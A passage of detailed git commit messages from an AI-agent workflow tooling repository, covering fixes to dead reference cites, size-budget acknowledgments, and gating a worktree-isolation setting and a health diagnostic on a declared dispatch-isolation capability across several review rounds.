install where a bare relative references/ path is dead). The gate walks the
runtime-loaded trees the issue prescribes, strips @~/ include tokens
PER-TOKEN (a line-skip guard would miss a bare cite sharing a line with an
include — the issue-named trap), pins the genuinely relative ../ href and
canonical forms as non-offenders, and checks canonical cite targets exist.
43 offenders today across 19 files.

* fix(#3576): repair all 43 dead references/ cites to the canonical resolvable form

Every backticked bare references/<name>.md cite across the 19 shipped files
rewritten to gsd-core/references/<name>.md — the form every required_reading
block and @~/ include already uses, and the only form that resolves from any
install location. All 20 cited targets verified to exist; the one genuinely
relative href (plan-phase.md's ../references/mvp-concepts.md) is untouched
(the repair is backtick-anchored). Growth acks: new fragment for the three
first-time paths, #3206-pattern appends to the five fragments already naming
the other grown files (two ack sources may never name the same path).
execute-phase.md lands at 93,391/93,400 and gsd-executor.md at 49,150/49,152
— exactly the issue's projections; every repair fits.

* fix(#3576): drop stale default.md growth ack (nested modes file is hash-attributed, not growth-ratcheted)

Review finding: the emitted-attribution ratchet covers only top-level
workflows/ + agents/ files; discuss-phase/modes/default.md's delta is
source-attributed, so acknowledging its growth is a stale entry the
differential lane fails on.

285cd41be0 fix(#3206): define "explicit evidence" inline at verifier 5b; repair stale honest-verifier cites (#3435)
* fix(#3206): define "explicit evidence" inline at verifier 5b; repair stale honest-verifier cites

Step 3 item 5b abstained on non-inferable (backstop) truths "unless
confirmed by explicit evidence" with the term undefined — its definition
lived only in the non-included gsd-core/references/honest-verifier.md,
behind a stale bare `references/` cite that 404s. Undefined, the term
falls back to presence + wiring, the exact false-pass the #1154
abstention protocol refuses.

- 5b: inline the compressed definition (a passing wired
  held-out/property-based test or directly observed behavior; presence +
  wiring never qualifies) and fix the cite. +84 B on the rewritten line;
  file lands at 49,151 of the 49,152 LARGE cap.
- verifier-phase-gates.md (already <required_reading>): gains the
  backstop-abstention reporting contract — AFK completion line
  ("complete with N unverified non-inferable checks", never silent,
  never a halt) and reason-distinctness (insufficient_spec vs manual-UAT
  human_needed). New content, no relocation of measured prose.
- 5c (line 204) and MVP-mode (line 644) bare cites repaired to
  gsd-core/references/ (+9 B each).
- Drift acks per ADR-2719 §4; two entries merge-appended into existing
  fragments (two ack sources may never name the same path).
- Changeset fragment with the sanctioned pr: 0 placeholder (post-create
  backfill).

Sibling census at next@7976b1ca0: 7 bare-cite instances in 4 agent
files; the 3 in gsd-verifier.md are fixed here, gsd-executor.md:429,439
and gsd-doc-synthesizer.md:20,176 stay with the epic #1891 follow-up.

Refs #1891

* chore(#3206): set changeset fragment pr to 3435

* fix(#3206): drop stale emitted-drift-ack entries that trip the ADR-2719 ratchet

The round's ack bookkeeping explained ripples that were already
self-attributed, so `tests/emitted-attribution.test.cjs` failed
deterministically on the PR head with 5 stale acknowledgments.

`agents/gsd-verifier.md` and `gsd-core/references/verifier-phase-gates.md`
appear directly in `git diff --name-only`, so PROVENANCE_RULES attributes
their emitted deltas without an ack; `agents/gsd-verifier.agent.md`,
`agents/gsd-verifier.toml` and `agents/subagents/gsd-verifier.md` are
derived emissions of a changed source and are attributed the same way.
None of the five entries could ever be consumed, so all five were stale.

Removed: the whole `3206-verifier-explicit-evidence.json` fragment (all
four entries) and the `#3206 append` to `0000-legacy-migration.json`.

Deliberately KEPT: the `#3206 append` to
`1955-verifier-coincidental-reliance.json`. Its `gsd-verifier.md` entry is
consumed by the size-growth ratchet, not the hash pass — the agent grew
49049 -> 49151 bytes, and `diffEmitted` treats a base-identical ack as
spent and excludes it from `ackEntries`. Reverting that append as well
turns the stale-ack failure into `1 file(s) grew without an
acknowledgment` (verified both ways locally).

* fix(#3206): compress 5b and re-acknowledge growth after rebase onto next

The rebase onto next (159145435, PR #3558) invalidated two things at once:

- #3558 grew agents/gsd-verifier.md to 49,098 bytes, leaving 54 bytes of
  LARGE-cap headroom where this PR's +102 no longer fits. Compressed the
  5b rewrite to +34 net by dropping the trailing honest-verifier cite —
  superseded by the now-inline definition; honest-verifier.md stays
  cited at the adjacent 5c line. File lands at 49,150 (2 under the cap).
- #3558 deleted tests/emitted-drift-acks/1955-verifier-coincidental-
  reliance.json, which carried this PR's growth acknowledgment, and its
  own 3409 fragment now names gsd-verifier.md. Re-homed the #3206 growth
  ack as an append to that entry (two ack sources may never name the
  same path).

The changeset is updated to match: two bare references/ cites repaired
(5c honest-verifier.md, MVP-mode verify-mvp-mode.md), the third (5b's)
superseded by the inline definition rather than repaired.

Reversion controls: restoring the uncompressed 5b fails
agent-size-budget.test.cjs (LARGE hard cap); reverting the ack append
fails emitted-attribution.test.cjs (differential attribution over the
real tree, GSD_EMITTED_BASE=upstream/next). Both re-verified green at
this tree: 213/213 (size + attribution), 992/992 across the 14 suites
reading the touched files.

* fix(#2486): runtime-branch the settings worktrees question + W020 health diagnostic

On non-Claude runtimes /gsd:settings offered "Yes (Recommended)" for
worktree isolation and persisted workflow.use_worktrees: true — the exact
value the execution workflows fail closed on (#1521 guards). Branch the
question on the same stamped config-get runtime read the guards use:
Claude keeps the unchanged question; non-Claude offers only
"No (Recommended)" / "Leave unchanged", never persists true, and warns
when the config carries an inherited explicit true. /gsd:health gains
W020, surfacing such a config with the guards' own predicate before
execution-time failure. Docs state the runtime-conditional default.

* fix(#2486): reassign the health worktrees check W020 -> W024 (verify.cts namespace collision)

The workflow-level check collided with the live W020 (git-worktree-list
health) emitted by cmdValidateHealth in src/verify.cts — invisible from
health.md's error_codes table, which stops at W019 and under-represents
the real namespace (W010-W017, W020-W023 all live). W024 verified free.
Adds a regression test pinning the chosen code against src/verify.cts so
a future assignment cannot silently collide, a table note naming the
namespace owner, and the changeset body reworded to house style.

Review round 2: at settings.md:142 the pre-selection rule left "Leave
unchanged" as the default when the config carried an explicit
non-false use_worktrees — the exact broken state the adjacent notice
warns about, so accepting the default kept a config that fails closed
at execution time. "Leave unchanged" is now the default only when the
key is absent (nothing to repair); explicit false AND explicit
non-false both pre-select "No (Recommended)", aligning the default,
the label, and the notice.

Pinned by two source-contract assertions in the #2486 regression
block. Goldens (settings.md hash x19) + size baseline regenerated.

* fix(#2486): gate the worktrees question on dispatch.isolation, not the runtime name

Review round 2: #2584 Phase 3 replaced the runtime-name test with a
declared `dispatch.isolation` capability, invalidating this PR's
premise. cursor declares harness-worktree and codex/opencode/kimi/
kimi-code declare orchestrator-worktree, so a `RUNTIME != claude` gate
blocked a supported configuration on five runtimes and false-warned in
health.

- settings.md + health.md read `query dispatch-isolation` and branch on
  `ISOLATION = none`; the runtime-name read is gone from both, and the
  capability read needs no per-runtime stamping (it fail-closes unknown/
  undocumented internally)
- all "Claude Code-only primitive" prose rewritten, including the two
  gates the shell-syntax check missed (config-key list, JSON schema
  comment)
- W024 reconciled across health.md + CONFIGURATION.md + planning-config.md
  (docs still said W020, which collides with a verify.cts code)
- health.md error-codes table fixed: the namespace note no longer sits
  between rows orphaning I001
- the asymmetry note for the two workflows #2584 has not migrated
  (quick.md, diagnose-issues.md) is enforced by a set-equality test with
  a self-check table, so it cannot go stale in either direction

* docs(#2486): restore the Executor isolation section clobbered by #2661

`46ba02ac` (feat(#2630), the current next tip) reverted docs/CONFIGURATION.md
to a pre-#2584 state: it restored the old "Non-Claude note" wording on the
workflow.use_worktrees row and deleted the whole "Executor isolation per
runtime" section. The change is unrelated to that PR's phase-estimation
feature and looks like a stale-copy edit.

This PR's use_worktrees row links to #executor-isolation-per-runtime, so the
deletion leaves a dangling anchor. Restored byte-for-byte from a40ee8a5 (the
text #2584 Phase 3 originally shipped). No link/anchor checker exists in
scripts/ or tests/, so CI would not have caught the dead link.

The reverted row wording is outside this PR's scope and is still wrong on
next; reported upstream as #2668.

* fix(#2486): reword the W024 remediation so it names no bare gsd-tools call

The W024 warning told the user to run `gsd-tools query config-set`, a
command-position bare invocation that fails with "command not found" on a
shim-only install (#2751) — the diagnostic sent the user into a second,
more confusing error than the one it reported. The remediation now names
only `/gsd:settings` and the config key itself, both of which work on
every install layout, and the #2751 command-position gate goes green.

Fixes #2486

* fix(#2486): drop the Known-asymmetry note and its guard test — #2728 migrates both workflows

Review Major 2: once #2728 lands, the note describes a gap that no longer
exists and instructs maintainers not to do the thing that was just done —
with the set-equality guard test pinning the stale prose green. This PR now
depends on #2728 (declared in the PR body), so the note and its guard go.

* test(#2486): make the #2728 merge order enforceable instead of advisory

settings.md recommends and persists `workflow.use_worktrees: true` for every
runtime whose declared dispatch.isolation is not `none` — cursor
(harness-worktree) and codex/opencode/kimi/kimi-code (orchestrator-worktree).
quick.md and diagnose-issues.md consume that value at dispatch time and, while
they still gate on the runtime NAME, FATAL for all five. Merged first, this PR
reintroduces #2486's own shape for the exact runtimes it exists to help — on
the path it now labels "Recommended".

The dependency was stated only as prose in the PR body. A merge-order note is
not a gate: an automated batch merge never reads it. This adds the check that
makes the ordering structural — red while either sibling is still name-gated,
green the moment #2728 lands.

The predicate matches a RUNTIME-vs-"claude" comparison, not the legitimate
runtime-identity read, and accepts either the inline canonical
dispatch-isolation read or a reference to dispatch-isolation-gate.md, which is
the shape #2728 gives quick.md. Verified both directions against real sources:
red against the current workflows, green against #2728's.

This also closes W024's coverage window. W024 fires only when ISOLATION is
`none`, so it is structurally blind to these five runtimes — /gsd:health would
report healthy right up until quick.md FATALs. W024 cannot see the hazard, so
the hazard is prevented by making the unsafe ordering unmergeable rather than
by warning after the fact.

Separately, the W-code namespace-collision test now declares its source read
instead of passing lint silently: verify.cts emits its codes as inline string
literals across ~25 addIssue() calls and exports no enumerable registry, so
there is nothing to require() and assert against. The gap, and what it costs,
are stated in the test.

* docs(#2486): use the hyphen command form for /gsd-health in CONFIGURATION.md

docs/ is never passed through the install-time slash-form converters, so the
colon form names a command no runtime registers. Clears the sole
lint-docs-command-form violation attributable to this PR.

* fix(#2486): resolve isolation via new side-effect-free inspect-dispatch-isolation query; scope the settings change to isolation-none runtimes

Review round 4:

- B1: /gsd:health and /gsd:settings no longer call the recording
  dispatch-isolation query — on current next it persists the resolved
  decision to the executor-isolation sentinel as an unconditional #3045
  side effect, letting a read-only diagnostic hard-block executor
  dispatch for the sentinel's lifetime across sessions. Both surfaces now
  use inspect-dispatch-isolation, a new read-only verb sharing the exact
  resolution implementation (extracted resolveDispatchIsolationDecision)
  with zero writes. Behavioral tests pin: no sentinel write, per-runtime
  parity with the recording verb, recording knobs ignored, --json shape.

- B2: the #2728 merge-order interlock test is deleted — a repo test
  cannot sequence merges; it only made this PR unmergeable on its own
  schedule. The settings behavior change is scoped entirely to the
  ISOLATION=none branch, which needs nothing from #2728; the != none
  path is base behavior unchanged.

- M1: the W024-vs-verify.cts namespace test (an admitted source-grep) is
  deleted per RULESET.TESTS.delete-bad-tests, without a standing
  exemption; the namespace claim lives as guidance in health.md.

- M2: remaining allow-test-rule exemptions re-derived into documented
  categories (source-text-is-the-product, integration-test-input) with
  issue refs per ADR-456.

- Minor: settings.md's current-value read drops the stampable
  --default/fallback so key-absence stays distinguishable from an
  explicit false on non-Claude emits (the pre-selection rule depends on
  the tri-state); docs now present inspect-dispatch-isolation as the
  inspection command and name dispatch-isolation as the recording
  resolver.

* fix(#2486): put the install-marker rung in the canonical runtime resolver

Round-7 review (independent cross-AI pass over the whole PR).

BLOCKER — the gate did not fire in the default case. `resolveRuntime`
stopped at GSD_RUNTIME > config.runtime > 'claude', and
`config-new-project` writes NO `runtime` key — so on a real non-Claude
install every consumer believed it was on Claude: isolation reported
`harness-worktree`, /gsd:settings still offered "Yes (Recommended)" and
W024 stayed silent. That is #2486's own symptom, surviving the fix meant
to remove it. Verified end-to-end on a real `--qwen` install with a
runtime-neutral config and GSD_RUNTIME unset: pre-fix `harness-worktree`,
fixed `none`.

The rung lives in `resolveRuntime` (src/runtime-slash.cts), the ONE
canonical resolver, not in the isolation call site. A per-consumer fix
forks precedence: `inspect-dispatch-isolation` would answer `cursor` while
`dispatch-should-flatten` and `resolve-dispatch-type` still answered
`claude` for the same install. All three now agree. `readInstallRuntimeMarker`,
its cache and its test seams MOVED from model-resolver.cts to
runtime-slash.cts, with model-resolver re-exporting the seams — one marker
read and one cache, not two that drift.

Deliberately NOT `resolveActiveRuntime`/`loadConfig`: an intermediate
revision of this fix routed through `loadConfig`, which normalizes and
rewrites legacy keys back to disk. That gave `inspect-dispatch-isolation`
— the verb whose entire purpose is being side-effect-free — a write side
effect, which is the defect the verb exists to avoid. `resolveRuntime`
reads .planning/config.json directly. Re-verified: the inspect query
against a real install creates no `.gsd/`.

Tests, both of which were too weak in the first attempt and are now
fail-first proven:
- The W024 behavioral stub returned success-with-empty-output for an absent
  key. Real `config-get` EXITS NON-ZERO, and the `|| echo "true"` fallback
  only triggers on failure — so reintroducing the fallback would have passed.
  The stub now returns 1 for the absent case.
- The marker regression asserted on the exported helper, so reverting
  gsd-tools.cjs to a marker-blind resolver still passed. It now drives a real
  `--qwen` install through the shipped `inspect-dispatch-isolation` query.
  (GSD_TEST_MODE must be cleared for that child, or install.js no-ops while
  still exiting 0 — a green test over an install that wrote nothing.)
  Spawned through `installSpawnEnv()` so ambient GSD_HOME cannot leak in.

Also: the three PR-added `try/finally` test bodies converted to `t.after()`
per CONTRIBUTING; CONTEXT.md's `worktree create` UNCONSUMED claim corrected
(Phase 3 calls it in executor-isolation-dispatch.md); docs/CONFIGURATION.md
now states the current non-Claude `use_worktrees` default rather than
describing capability-scoped stamping that lands with #2652; resolver
precedence comments updated to name the marker rung.

Refs #2486
Refs #2668

* fix(#2486): split the marker rung out; make the use_worktrees doc row order-independent

Round-8 review. trek-e's Blocker was procedural — commit 10fba7b8 moved the
per-install .gsd-runtime marker rung into the canonical resolver, a large
blast-radius change that arrived undisclosed and unreviewed. They offered
two remedies; taking the second: SPLIT IT OUT.

src/runtime-slash.cts and src/model-resolver.cts are reverted to their next
state and the marker regression test is removed. What remains is what this
PR was filed for: the settings.md / health.md / gsd-tools.cjs isolation
query, W024, and the #2668 docs restoration.

COST, stated plainly rather than buried: without that rung this PR's gate
resolves 'claude' on a non-Claude install whose project config carries no
`runtime` key — which is every config config-new-project writes. On those
installs W024 stays quiet and /gsd-settings still offers Worktrees. The gate
is correct whenever the runtime IS resolvable (GSD_RUNTIME set, or an
explicit config.runtime). That is why `Fixes #2486` is already downgraded to
`Refs` — #2486 must not close until the residual lands. A KNOWN LIMITATION
comment at the resolver call site names #2395 so this does not read as an
oversight.

The rung itself belongs to #2395, which reports this exact defect and was
closed by #2446 — a PR that touched only bin/install.js and fixtures and
never runtime-slash.cts, so it persisted the identity into
~/.gsd/defaults.json, a tier resolveRuntime does not read. Evidence and a
reopen request are posted there. That same tier is #2566's B1.

DOCS — the reviewer flagged that this row and #2728's are order-dependent:
whichever merges second falsifies the other. Removed the dependency instead
of picking an order. The "Current default … until #2652" paragraph is now a
plain troubleshooting note, true before and after #2728 lands.

CONFLICT — one hunk in CONTEXT.md: next added the #2596 scope-conformance
interface to the same Worktree-Safety paragraph where this PR corrected the
`worktree create` UNCONSUMED claim. Resolved keeping both.

Verified: lint:ci green. Full suite clean apart from the pre-existing
#1160 installed-runtime capability surface. (emitted-attribution also failed
until the fork's stale next was fast-forwarded — it defaults to origin/next,
which was 131 commits behind; 175/175 against the current base.)

Refs #2486
Refs #2668

* fix(#2486): address round-9 review — distinguish "cannot resolve" from "declares none", reject recording-only args on the read verb

Codex review of the whole PR, five findings, all verified against source first.

Major 3 (the one real defect). Both surfaces read isolation as
`ISOLATION=$(… || echo "none")`, so a resolver failure became indistinguishable
from a genuine `dispatch.isolation: none` declaration — and W024's text then
asserts the latter, telling a user their runtime declares no executor-isolation
primitive when GSD simply could not find out. health.md and settings.md now
capture the raw value and track ISOLATION_RESOLVED, the same shape
references/dispatch-isolation-gate.md already uses (#2652 review). W024 gained a
second message for the unresolved case; settings still fails closed there — it
must never persist a `true` it cannot justify — but reports what happened rather
than a verdict it never reached.

Major 4. `dispatch-isolation` applies --force-isolation AFTER the shared
resolver returns; inspection accepted the flag and silently ignored it, so the
same argv yielded 'none' from one verb and the declared capability from the
other. inspect-dispatch-isolation now rejects --force-isolation/--phase/--plan
as usage errors. Verified by mutation: disabling the guard reds exactly the
three new rejection tests.

Major 1. settings.md claimed this flow and the execution guards "always reach
the same verdict". False while quick.md still gates on the runtime name: an
orchestrator-worktree host can be offered a `true` that /gsd:quick rejects as
fatal, W024 silent because isolation is not none. Scoped the claim to the
capability gate, named #2728 as the conversion, and added the same caveat to the
CONFIGURATION.md use_worktrees row. Not a behavior change — the `!= none` branch
is untouched base behavior.

Major 2. "side-effect-free" overstated it: every gsd-tools invocation runs the
shared bootstrap, and getActiveWorkstream unlinks a stale workstream pointer.
That is pre-existing, verb-independent and cannot block a dispatch; writing the
sentinel can. Renamed the claim to "sentinel-free" everywhere and documented
precisely what is and is not asserted.

Minor 5. The JSON parity test asserted against a handwritten key list and never
invoked the recording verb, so the two could diverge and stay green. It now runs
`dispatch-isolation --json` in a separate project dir and deep-compares, with a
control asserting that verb DID write a sentinel. Added the orchestrator exec
branch (--cwd-target) the registry parity test never covered.

runtime-converters.test.cjs pinned the old `|| echo "none"` line as canonical —
that literal was the Major 3 defect. Repinned as two invariants (the raw read is
present; the collapsing fallback is absent) plus an ISOLATION_RESOLVED
requirement, so reformatting does not fail the test but a semantic regression
does.

settings.md sits at 40777 bytes against the 40960 DEFAULT hard cap. The
round-9 prose was compressed to fit rather than raising the cap.

Validated: lint:ci clean; full suite green except the two failures that
reproduce identically on pristine next @ 33fca50d (#1160 _resolveManifest, and
the #3053 quick_id tests, which compare a local-time expectation against a
TZ=UTC child and so only pass on a UTC host).

* fix(#2486): second review pass — drop a dangling reference, correct the whole unresolved branch, pin the branch behaviorally

Codex re-review of the full PR after the first round-9 pass. It confirmed Majors
1, 2 and 4 and Minor 5 fixed, and found seven more. All verified against source.

Minor 5 was mine and the worst of them: settings.md and health.md pointed at
`gsd-core/references/dispatch-isolation-gate.md`, which exists only on the #2728
branch — not in this PR and not on the merge-base. Merging this alone would have
shipped three dangling canonical-source references. Removed; the surrounding
text now stands on its own.

Major 2. The unresolved branch corrected only the two option descriptions. The
pre-selection rationale still claimed an absent key already resolves to false on
this runtime, and the explicit-true notice still stated the runtime declares no
primitive — both capability verdicts that were never reached. The substitution
rule now covers every place in that branch that asserts one.

Major 3. The repinned invariants could not catch the mutation they existed to
catch: flipping the shipped block's ISOLATION_RESOLVED=true to false left all
three green, since they only assert the raw read is present, the token appears,
and the collapsing fallback is gone. Added a behavioral test that drives the
shipped W024 block twice — resolver answering vs resolver exiting non-zero — and
asserts the two emit different text, that the unresolved branch says "could not
resolve", and that it does NOT claim the runtime has no primitive. Verified: the
true->false mutation now reds it.

Major 1. The verb fail-closes an unknown or undeclared runtime to `none` and
exits 0, so ISOLATION_RESOLVED=true means "the query answered", not "the runtime
published a declaration" — the shell cannot see an internal fallback. Exposing
provenance is an API change and out of scope here, so W024's resolved-case text
is instead written to be true of every path that reaches it ("no usable
executor-isolation primitive — declared or fail-closed from an unknown value"),
and both workflows state the limit of the signal explicitly.

Minor 4. The rejection tests regex-matched human prose, so swapping
ERROR_REASON.USAGE for UNKNOWN would have kept them green while breaking machine
consumers. They now pass --json-errors and assert reason === 'usage' on the
parsed envelope.

Minor 6. CONTEXT.md still described the verb as side-effect-free. Now
sentinel-free, consistent with the router comment and the other two surfaces.

Minor 7. 183 bytes of headroom under the 40960 hard cap was called
unacceptable, and it was — a routine 184-byte edit would have failed CI.
Compressed this PR's own settings.md prose (the #2486 block was carrying ~7.1KB
of rationale) to 40499 bytes, 458 free. Two phrases other tests pin verbatim
were restored after the first compression pass reworded them.

Validated: lint:ci clean; full suite green except the two failures that
reproduce identically on pristine next @ 33fca50d.

* fix(#2486): third review pass — placeholder table replaces the fragile substitution rule

Codex round 3 blocked the push on two Majors. Both verified and real.

Major 2 was the substantive one and my error. The round-2 fix told the model to
find and replace the string "this runtime declares no executor-isolation
primitive (dispatch.isolation: none)" — text that does not appear anywhere in
the branch. The first option description has no parenthetical, the second
asserts "absent, it already resolves to false on this runtime" (not covered at
all), and the pre-selection rationale and notice carried three more unsupported
assertions. A model following the instruction literally would have found no
match and changed nothing.

Replaced with three named placeholders — {FINDING}, {CONSEQUENCE}, {ABSENCE} —
and a two-column table giving each one's resolved and unresolved wording. Every
assertion in the branch now flows from the table, so none of them can outrun
what was actually established, and there is no string-matching to get wrong. It
is also shorter than the prose it replaced.

Major 1: the resolver catches thrown errors and returns none successfully, a
path the round-2 wording ("declared, or unknown/undeclared") did not cover.
Both surfaces now say "declared as none, or fail-closed because the capability
could not be determined", which is true of the thrown path too, and both state
that an internal resolution error is among the things the verb fail-closes.
Still not provenance — the verb cannot distinguish these for the caller — but no
longer a claim the code contradicts.

Minor 3: the behavioral test asserted only that the two branches differ and that
the resolved one omits "could not resolve", so arbitrary resolved text stayed
green. Now pins what it must positively say: the capability finding, the
fail-closed consequence, the offending key, and (both branches) the repair
command.

Minor 4: two stale artifacts the round-2 sweep missed — a test comment still
citing the #2728-only references/dispatch-isolation-gate.md, and the emitted
drift ack still describing inspection as side-effect-free. Also aligned the two
remaining router comments to sentinel-free.

settings.md 40420 bytes, 540 free under the cap.

Validated: lint:ci clean; full suite green except the two failures that
reproduce identically on pristine next @ 33fca50d.

* fix(#2486): fourth review pass — stop recommending a repair whose effect depends on the emit

Codex round 4, one Major and three Minors. The Major is a real hole and worth
the round.

W024 advised "remove the key from .planning/config.json so the runtime default
(false) applies". That default is not false everywhere: execute-phase.md:102,
quick.md:155 and diagnose-issues.md:62 all read the key as
`|| echo "true"`, and only `_stampNonClaudeRuntimeDefaults` rewrites them to
`--default false` on a non-Claude emit. So on an un-stamped emit the advised
repair leaves use_worktrees resolving to TRUE against isolation none — exactly
the state W024 exists to flag. Reachable in the round-3 gap: a caught internal
resolver error returns none with rc=0, so ISOLATION_RESOLVED is true and the
confident branch fires on a host whose emit was never stamped.

Fixed by removing the dependence rather than the symptom: both surfaces now say
to set workflow.use_worktrees false explicitly, and say why deleting the key is
not equivalent. The {ABSENCE} placeholder no longer claims absence resolves to
false unconditionally — it is scoped to an emit that stamped that default.

Minor: the notice and W024 hardcoded .planning/config.json, which is the wrong
file in an active workstream (settings itself resolves $GSD_CONFIG_PATH
correctly). Both now say "the project config", naming the workstream case.

Minor: the new repair pin required the literal /gsd:settings, a form documented
as no longer routable. Relaxed to accept the canonical slash and $-prefixed
forms so a correct rewording cannot fail the test.

Nit: two test descriptions still said side-effect-free.

Not fixed, deliberately: the verb still cannot tell a caught resolver error from
a declared none, so ISOLATION_RESOLVED remains a signal about the CALL, not the
declaration. Both workflows now state that limit outright. Exposing provenance
is a change to the query contract that belongs with the runtime-resolution work
in #2395, not here.

Validated: lint:ci clean; full suite green except the two failures that
reproduce identically on pristine next @ 33fca50d. The only change after that
suite run was removing a redundant regex escape flagged by eslint; that test was
re-run individually and eslint is clean.

* fix(#2486): fifth review pass — stop recommending "leave it absent" as the safe default

Codex round 5, one Major: the round-4 fix corrected the {ABSENCE} wording but
left the pre-selection rule built on the assumption it had just falsified. An
absent key still pre-selected "Leave unchanged" on the rationale that there was
nothing to repair. Absence resolves to false only where the emit stamped that
default; on an un-stamped emit it reads as true, so accepting the recommended
default could preserve the exact isolation-none-plus-true state this branch
exists to prevent.

The isolation-none branch now pre-selects "No (Recommended)" in every case,
including an absent key. Writing an explicit false is correct under either emit;
"Leave unchanged" stays available for the deliberate shared-config case but is
never the default. The test that pinned the old rule pinned a falsified
assumption, so it now pins the new one and asserts the old sentence is gone.

Also tightened the round-4 repair regex, which had been relaxed far enough to
accept `$gsd:settings` and `/gsd:settings-bogus`. It now matches only the
canonical `/gsd-settings`, `/gsd:settings` and `$gsd-settings` forms.

* fix(#2486): make the inspection exemption block-scoped, and drop the last pre-#2728 claim

Codex review of the conflict resolution: one Major, two Minors, all real.

Major. The inspection-surface exemption I added to #2728's "every dispatch-site
degrade block re-records" guard was FILE-wide. Codex probed it by adding an
unrecorded executor block to health.md: the exemption assertions still passed,
the whole file was skipped, and the offender went unreported. That is the same
hole the hand-listed revision of this guard had — a promise of "every dispatch
site" with a silent carve-out.

Now scoped per block. A block earns the exemption only by resolving through
`inspect-dispatch-isolation` AND carrying no dispatch primitive (`Agent(`,
`harnessFlag`/`HARNESS_FLAG`, `isolation="worktree"`, or the recording verb).
The file-level assertions remain as a precondition on top. Verified with Codex's
own probe: the appended dispatch block is now reported at health.md:285, while
the legitimate inspection block still passes.

Minor. settings.md still carried the caveat saying `quick.md` gates on the
runtime name and "#2728 converts that surface". #2728 has landed. Same obsolete
premise already removed from docs/CONFIGURATION.md in the merge commit; this was
the copy I missed. Removing it also returns 413 bytes, so settings.md now has
688 free under the 40960 cap rather than 275.

Minor. Four scratch-directory prefixes still read `w024` after the renumber.
Non-functional, but the whole point of the rename was that W024 now means
someone else's warning.

Validated: lint:ci clean; full suite green except the two failures that
reproduce identically on pristine next.

* fix(#2486): name the diagnostics' state INSPECTED_ISOLATION and delete the exemption

Codex probed the per-block exemption and it was still escapable: DISPATCH_PRIMITIVE
matched only `Agent(`, two harness-flag spellings, `isolation="worktree"` and the
recording verb, so `Task(`, `spawn_agent(`, a `codex exec` process dispatch, and —
unfixably by any regex — the repo's normal split shape (isolation resolved in one
bash fence, dispatch in a later one) all still qualified as exempt.

Took Codex's suggested fix, which is better than the one it replaces. The
diagnostics now name their state `INSPECTED_ISOLATION` / `INSPECTED_RESOLVED` /
`_INSPECTED_RAW` instead of reusing the dispatch-site names. #2728's guard scans
for a literal `ISOLATION=none`, so health.md and settings.md fall outside it BY
CONSTRUCTION and the exemption is deleted outright — no carve-out to escape, and
a diagnostic that ever writes a real `ISOLATION=none` is caught like any other
site. The name is also just more accurate: an inspection result is not a dispatch
decision.

Pinned so the reasoning cannot be lost: the #2486 suite now asserts neither
diagnostic assigns the bare `ISOLATION` name, with the rationale in the comment.
Verified by mutation — renaming back makes #2728's guard flag health.md:107 AND
fails the new naming pin.

Net effect on the guard's coverage is positive: before this PR it scanned two
fewer files by exemption; now it scans everything.

2076d450d7 fix(#2652): gate quick/diagnose dispatch on dispatch.isolation, not the runtime name (#2728)
* fix(#2652): gate quick/diagnose dispatch on dispatch.isolation, not runtime name

quick.md and diagnose-issues.md kept the pre-#2584 `RUNTIME != "claude"`
worktree gate, so every non-Claude runtime failed closed regardless of the
capability it negotiated — including Codex, which declares
orchestrator-worktree. Route both through the negotiated dispatch.isolation
seam via a new shared reference, and migrate the two execute-phase reference
fragments that carried the same runtime-name gate.

- new gsd-core/references/dispatch-isolation-gate.md: canonical ISOLATION
  resolution, harness-flag resolution, single-agent degrade rule
- quick.md / diagnose-issues.md read the gate; dispatch uses the {harnessFlag}
  placeholder rather than a hardcoded isolation="worktree"
- execute-phase-wave-guard.md / execute-phase-between-wave-reset.md: migrate
  [ "$RUNTIME" = "claude" ] -> [ "$ISOLATION" = "harness-worktree" ]
- every degrade site now clears BOTH USE_WORKTREES and ISOLATION; clearing one
  dispatched an isolated agent with no base guard and no manifest
- parity guard in host-integration.test.cjs scans workflows AND references and
  matches six reintroduction shapes
- migrate four tests that pinned the pre-#2584 runtime-name contract

* fix(#2652): use the /gsd:<cmd> namespace in the isolation degrade messages

The degrade warnings cited /gsd-execute-phase, the retired hyphen form that
slash-command-namespace.test.cjs rejects in Claude-facing source. Same length,
so the quick.md size budget is unaffected.

* fix(#2652): normalize dispatch-site paths to forward slashes for Windows

path.relative() returns backslash-separated paths on Windows, so the
#2652 dispatch-site parity test compared "gsd-core\workflows\quick.md"
against the hardcoded forward-slash literal "gsd-core/workflows/quick.md"
and failed on every windows-latest CI lane. Normalize with
.replace(/\\/g, '/'), matching the existing convention used elsewhere in
this suite (e.g. tests/branch-no-track-guard.test.cjs:37).

* test(#2652): restore the size-growth acknowledgment

The rebase dropped tests/emitted-drift-ack.json. #2757/#2758 fixed the
ATTRIBUTION axis, but the SIZE-GROWTH axis is independent: diagnose-issues.md
(+2086) and quick.md (+230) still need an ack naming them and saying why.

* fix(#2652): convert execute-plan.md Pattern A onto the dispatch-isolation gate

Pattern A hardcoded `isolation="worktree"` — Claude Code's own literal —
gated only on `workflow.use_worktrees`, with no capability negotiation at
all. It is the same defect #2652 fixes at the other four sites, just a
different shape: the file contains no RUNTIME variable, so the new detector
correctly does not flag it.

Concrete break: a Codex user who follows this PR's own newly-documented
pattern and sets `workflow.use_worktrees: true` to get isolated dispatch via
/gsd:quick then runs a plan through /gsd-execute-plan Pattern A, and hits an
unconverted path — either an Agent() call erroring on an unrecognized
parameter or silent unisolated execution, depending on host tolerance.

Pattern A is a single-agent dispatch site through the host's own subagent
tool, so it takes the same treatment as quick.md and diagnose-issues.md:
resolve ISOLATION/HARNESS_FLAG through the canonical reference, degrade to
sequential on orchestrator-worktree hosts, and substitute the host's declared
{harnessFlag} instead of Claude Code's literal.

while the area was open.

* docs(#2652): add the INVENTORY row for dispatch-isolation-gate.md, refresh CONTEXT

Two bookkeeping gaps flagged in review:

INVENTORY.md had no row for the new gsd-core/references/dispatch-isolation-gate.md.
INVENTORY-MANIFEST.json was regenerated correctly and its --check only diffs a
live directory scan against the committed manifest, so CI passed regardless —
but gen-inventory-manifest.cjs's own stderr guidance says to add the matching
INVENTORY.md row. This is the repo's named "Inventory Drift" pattern. Placed
with the dispatch/isolation cluster (worktree-branch-check, runtime-aware-dispatch)
rather than alphabetically, matching how that table is grouped.

CONTEXT.md's Host-Integration Interface entry still described dispatch.isolation
as "declared and negotiated but not yet consumed by any scheduler — Phase 1 of
#2584". That was already stale before this PR (execute-phase graduated in Phase 3)
and more so now with three single-agent dispatch sites consuming it.

* test(#2652): detect reversed-operand runtime gates; add a permutation property

All five reintroduction regexes assumed $RUNTIME on the LEFT of the
